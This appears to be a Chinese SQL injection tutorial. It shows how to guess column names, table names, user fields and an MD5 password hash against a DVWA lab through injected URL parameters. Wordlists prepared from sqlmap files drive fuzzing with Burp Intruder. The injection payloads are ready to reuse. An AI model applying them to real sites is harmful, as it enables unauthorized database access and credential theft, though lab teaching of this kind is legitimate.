二十二、SQL注入(4)sql注入猜测流程

之前的sql都是基于information_schema库,如果数据库无权读取,或者拒绝union、order by语句的话,那么只能通过尝试猜测是解决。

1、猜列名

使用手动或者是fuzzing测试

http://192.168.50.183/dvwa/vulnerabilities/sqli/
?id=' and abc is null--+   //abc为列名,为手动尝试,可以采用fuzzing测试
&Submit=Submit#

下面尝试用字典的形式fuzzing测试,使用burpsuite,先复制一份字典

# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > /root/columns.txt   //将字典中包含的#号去掉,因为#在mysql中有特殊的含义,防止不能被执行

将abc即需要尝试的字段增加变量,并导入字典,开始尝试attack


二十二、SQL注入(4)sql注入猜测流程_第1张图片
增加变量

二十二、SQL注入(4)sql注入猜测流程_第2张图片
load字典

查看攻击结果,发现返回的html字节大的就是猜测正确的列名,其他的错误的只是返回一段错误码,字节数比较小。
二十二、SQL注入(4)sql注入猜测流程_第3张图片
攻击结果

从上述猜测结果,可以得出,此表中包含的列名为user_id、first_name、last_name、password、user、user_id、password、user、avatar

2、猜当前表名

在浏览器的hackbar中写入表猜测sql语句

http://192.168.50.183/dvwa/vulnerabilities/sqli/
?id=' and table.user is null--+  //1.table表存在,user列为null,结果会列出两个字段,且为控制;2.table存在,user存在不为null,结果为执行,但不返回任何结果;3.table不存在,返回错误
&Submit=Submit#

导入表猜测字典,并使用burpsuite的intruder

# cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > /root/tables.txt

表名猜测成功,通过字节数大小及render页面没有任何返回信息,判断语句执行成功。

二十二、SQL注入(4)sql注入猜测流程_第4张图片
猜测出表名

从上述结果,可以得出,猜测出表名为users

3、猜库里其他表

仍旧使用上面的表column.txt,然后使用burpsuite猜测数据库中其他表

http://192.168.1.183/dvwa/vulnerabilities/sqli/
?id=' and (select count(*) from cc)>0-- 
&Submit=Submit#

image.png

上面直接暴露出了库名dvwa
二十二、SQL注入(4)sql注入猜测流程_第5张图片
增加payload

二十二、SQL注入(4)sql注入猜测流程_第6张图片
猜出其他表

从上述结果,可以得出,dvwa中有users,guestbook表

4、列表对应关系

' and users.user is null--+

5、猜字段内容

' or user='admin
' or user like '%a%
二十二、SQL注入(4)sql注入猜测流程_第7张图片
猜字段内容1

二十二、SQL注入(4)sql注入猜测流程_第8张图片
猜字段内容2

6、猜账号对应密码

' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

可以将密码文件用md5哈希处理后保存,然后在使用intruder

你可能感兴趣的:(二十二、SQL注入(4)sql注入猜测流程)